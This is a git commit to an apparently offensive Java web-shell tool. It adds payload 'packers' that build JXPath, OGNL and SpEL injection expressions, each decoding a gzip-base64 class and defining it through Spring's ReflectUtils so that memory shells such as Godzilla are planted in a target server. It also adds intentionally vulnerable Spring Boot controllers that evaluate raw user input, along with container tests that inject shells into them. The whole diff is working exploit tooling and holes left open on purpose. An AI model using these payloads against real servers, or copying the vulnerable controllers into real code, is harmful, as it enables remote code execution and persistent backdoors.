feat: support JXPathSpringGzipPacker

This commit is contained in:
ReaJason
2025-09-12 22:51:50 +08:00
parent c272a5387d
commit e1f0e7f4bd
21 changed files with 292 additions and 103 deletions
+1
View File
@@ -28,6 +28,7 @@ dependencies {
testImplementation(libs.junit.platform.reporting) testImplementation(libs.junit.platform.reporting)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.junit.pioneer) testImplementation(libs.junit.pioneer)
testImplementation(libs.logback.classic)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.hamcrest) testImplementation(libs.hamcrest)
testImplementation(libs.bundles.testcontainers) testImplementation(libs.bundles.testcontainers)
@@ -296,7 +296,9 @@ public class ShellAssertion {
if (StringUtils.isNotBlank(urlPattern)) { if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern); injectorConfig.setUrlPattern(urlPattern);
} }
if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) { if (Packers.SpELSpringGzipJDK17.equals(packer)
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5)); injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
} }
@@ -328,13 +330,15 @@ public class ShellAssertion {
VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl); VulTool.urlIsOk(shellUrl);
} }
case ScriptEngine, DefaultScriptEngine, ScriptEngineBigInteger -> VulTool.postIsOk(url + "/js", content); case ScriptEngine, DefaultScriptEngine, ScriptEngineNoSquareBrackets, ScriptEngineBigInteger ->
VulTool.postIsOk(url + "/js", content);
case EL -> VulTool.postIsOk(url + "/el", content); case EL -> VulTool.postIsOk(url + "/el", content);
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 -> case SpEL, SpELSpringGzip, SpELScriptEngine, SpELSpringGzipJDK17 ->
VulTool.postIsOk(url + "/spel", content); VulTool.postIsOk(url + "/spel", content);
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content); case OGNLSpringGzip, OGNLScriptEngine, OGNLSpringGzipJDK17 -> VulTool.postIsOk(url + "/ognl", content);
case MVEL -> VulTool.postIsOk(url + "/mvel", content); case MVEL -> VulTool.postIsOk(url + "/mvel", content);
case JXPath -> VulTool.postIsOk(url + "/jxpath", content); case JXPath, JXPathScriptEngine, JXPathSpringGzip, JXPathSpringGzipJDK17 ->
VulTool.postIsOk(url + "/jxpath", content);
case JEXL -> VulTool.postIsOk(url + "/jexl2", content); case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
case Aviator -> VulTool.postIsOk(url + "/aviator", content); case Aviator -> VulTool.postIsOk(url + "/aviator", content);
case Groovy -> VulTool.postIsOk(url + "/groovy", content); case Groovy -> VulTool.postIsOk(url + "/groovy", content);
@@ -102,9 +102,4 @@ public class SpringBoot3ContainerTest {
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
} }
@Test
void testCommandValveSpELSpringIOUtilsJDK17() {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container);
}
} }
@@ -0,0 +1,71 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot3ExpressionContainerTest {
public static final String imageName = "springboot3";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(springBoot3Dockerfile))
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
);
}
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
}
}
@@ -44,16 +44,17 @@ public class Tomcat8ExpressionContainerTest {
return Stream.of( return Stream.of(
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringGzip),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringGzip),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathSpringGzip),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.DefaultScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.DefaultScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineNoSquareBrackets),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineBigInteger), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineBigInteger),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
@@ -29,18 +29,23 @@ import com.reajason.javaweb.packer.jsp.DefineClassJspPacker;
import com.reajason.javaweb.packer.jsp.JspPacker; import com.reajason.javaweb.packer.jsp.JspPacker;
import com.reajason.javaweb.packer.jsp.JspxPacker; import com.reajason.javaweb.packer.jsp.JspxPacker;
import com.reajason.javaweb.packer.jxpath.JXPathPacker; import com.reajason.javaweb.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.packer.jxpath.JXPathScriptEnginePacker;
import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipPacker;
import com.reajason.javaweb.packer.mvel.MVELPacker; import com.reajason.javaweb.packer.mvel.MVELPacker;
import com.reajason.javaweb.packer.ognl.OGNLPacker; import com.reajason.javaweb.packer.ognl.OGNLPacker;
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker; import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker; import com.reajason.javaweb.packer.ognl.OGNLSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.ognl.OGNLSpringGzipPacker;
import com.reajason.javaweb.packer.rhino.RhinoPacker; import com.reajason.javaweb.packer.rhino.RhinoPacker;
import com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker; import com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEngineBigIntegerPacker; import com.reajason.javaweb.packer.scriptengine.ScriptEngineBigIntegerPacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEngineNoSquareBracketsPacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELPacker; import com.reajason.javaweb.packer.spel.SpELPacker;
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer; import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker; import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker;
import com.reajason.javaweb.packer.velocity.VelocityPacker; import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
@@ -90,6 +95,7 @@ public enum Packers {
*/ */
ScriptEngine(new ScriptEnginePacker()), ScriptEngine(new ScriptEnginePacker()),
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class), DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class),
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class), ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
Rhino(new RhinoPacker()), Rhino(new RhinoPacker()),
@@ -100,18 +106,24 @@ public enum Packers {
OGNL(new OGNLPacker()), OGNL(new OGNLPacker()),
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class), OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class), OGNLSpringGzip(new OGNLSpringGzipPacker(), OGNLPacker.class),
OGNLSpringGzipJDK17(new OGNLSpringGzipJDK17Packer(), OGNLPacker.class),
MVEL(new MVELPacker()), MVEL(new MVELPacker()),
Aviator(new AviatorPacker()), Aviator(new AviatorPacker()),
JXPath(new JXPathPacker()), JXPath(new JXPathPacker()),
JXPathSpringGzip(new JXPathSpringGzipPacker(), JXPathPacker.class),
JXPathSpringGzipJDK17(new JXPathSpringGzipJDK17Packer(), JXPathPacker.class),
JEXL(new JEXLPacker()), JEXL(new JEXLPacker()),
BeanShell(new BeanShellPacker()), BeanShell(new BeanShellPacker()),
SpEL(new SpELPacker()), SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class), SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class), SpELSpringGzip(new SpELSpringGzipPacker(), SpELPacker.class),
SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class), SpELSpringGzipJDK17(new SpELSpringGzipJDK17Packer(), SpELPacker.class),
Groovy(new GroovyPacker()), Groovy(new GroovyPacker()),
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class), GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
@@ -1,19 +1,11 @@
package com.reajason.javaweb.packer.jxpath; package com.reajason.javaweb.packer.jxpath;
import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/13 * @since 2024/12/13
*/ */
public class JXPathPacker implements Packer { public class JXPathPacker implements AggregatePacker {
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
} }
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.jxpath;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathScriptEnginePacker implements Packer {
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngineNoSquareBrackets.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.packer.jxpath;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathSpringGzipJDK17Packer implements Packer {
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
@Override
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.jxpath;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathSpringGzipPacker implements Packer {
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread())))";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringGzipJDK17Packer implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader(),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,21 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringGzipPacker implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -1,33 +0,0 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringIOUtilsGzipPacker implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -2,20 +2,21 @@ package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/13 * @since 2024/12/13
*/ */
public class SpELSpringIOUtilsGzipJDK17Packer implements Packer { public class SpELSpringGzipJDK17Packer implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
@Override @Override
public String pack(ClassPackerConfig config) { public String pack(ClassPackerConfig config) {
String className = config.getClassName(); String className = config.getClassName();
assertClassNameValid(className); assertClassNameValid(className);
return template.replace("{{className}}", className) return template.replace("{{className}}", className)
.replace("{{base64Str}}", config.getClassBytesBase64Str()); .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
} }
public static void assertClassNameValid(String className) { public static void assertClassNameValid(String className) {
@@ -0,0 +1,24 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
*
* @since 5.2.24,SpEL 限制了长度为 10000,常规的 Base64 编码已经不适用,需要进一步使用 GZIP 压缩
* <a href="https://github.com/spring-projects/spring-framework/blob/2ed1b6e6dda48ff0c74b67b39cba65676b5397b6/spring-expression/src/main/java/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java#L100">InternalSpelExpressionParser.java</>
*
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringGzipPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -1,34 +0,0 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringIOUtilsGzipPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -18,9 +18,9 @@ class SpELSpringIOUtilsGzipJDK17PackerTest {
classPackerConfig.setClassName("org.springframework.expression.sub.CommonUtil"); classPackerConfig.setClassName("org.springframework.expression.sub.CommonUtil");
classPackerConfig.setClassBytes("hello".getBytes()); classPackerConfig.setClassBytes("hello".getBytes());
classPackerConfig.setClassBytesBase64Str(Base64.encodeBase64String("hello".getBytes())); classPackerConfig.setClassBytesBase64Str(Base64.encodeBase64String("hello".getBytes()));
Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig)); Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringGzipJDK17.getInstance().pack(classPackerConfig));
classPackerConfig.setClassName("org.springframework.expression.CommonUtil"); classPackerConfig.setClassName("org.springframework.expression.CommonUtil");
Assertions.assertDoesNotThrow(() -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig)); Assertions.assertDoesNotThrow(() -> Packers.SpELSpringGzipJDK17.getInstance().pack(classPackerConfig));
} }
} }
+3
View File
@@ -19,6 +19,9 @@ dependencies {
testImplementation("org.junit.jupiter:junit-jupiter") testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher") testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2") runtimeOnly("com.h2database:h2")
implementation("ognl:ognl:2.7.3")
implementation("commons-jxpath:commons-jxpath:1.3")
implementation("commons-beanutils:commons-beanutils:1.9.3")
} }
tasks.test { tasks.test {
@@ -0,0 +1,20 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.apache.commons.jxpath.JXPathContext;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/14
*/
@RestController
@RequestMapping("/jxpath")
public class JXPathController {
@PostMapping
protected Object doPost(String data) {
JXPathContext context = JXPathContext.newContext(null);
return context.getValue(data);
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.vul.springboot3.controller;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/14
*/
@RestController
@RequestMapping("/ognl")
public class OgnlController {
@RequestMapping
protected Object doPost(String data) {
OgnlContext context = new OgnlContext();
try {
return Ognl.getValue(data, context, context.getRoot());
} catch (OgnlException e) {
throw new RuntimeException(e);
}
}
}
+1 -1
View File
@@ -18,11 +18,11 @@ dependencies {
implementation("commons-io:commons-io:2.19.0") implementation("commons-io:commons-io:2.19.0")
implementation("org.apache.velocity:velocity:1.7") implementation("org.apache.velocity:velocity:1.7")
implementation("ognl:ognl:2.7.3") implementation("ognl:ognl:2.7.3")
implementation("commons-jxpath:commons-jxpath:1.3")
implementation("org.mvel:mvel2:2.4.7.Final") implementation("org.mvel:mvel2:2.4.7.Final")
implementation("org.beanshell:bsh:2.0b5") implementation("org.beanshell:bsh:2.0b5")
implementation("org.apache.commons:commons-jexl:2.1.1") implementation("org.apache.commons:commons-jexl:2.1.1")
implementation("org.apache.commons:commons-jexl3:3.2.1") implementation("org.apache.commons:commons-jexl3:3.2.1")
implementation("commons-jxpath:commons-jxpath:1.3")
implementation("com.googlecode.aviator:aviator:5.2.7") implementation("com.googlecode.aviator:aviator:5.2.7")
implementation("org.codehaus.groovy:groovy:3.0.6") implementation("org.codehaus.groovy:groovy:3.0.6")
implementation("org.mozilla:rhino:1.7.14") implementation("org.mozilla:rhino:1.7.14")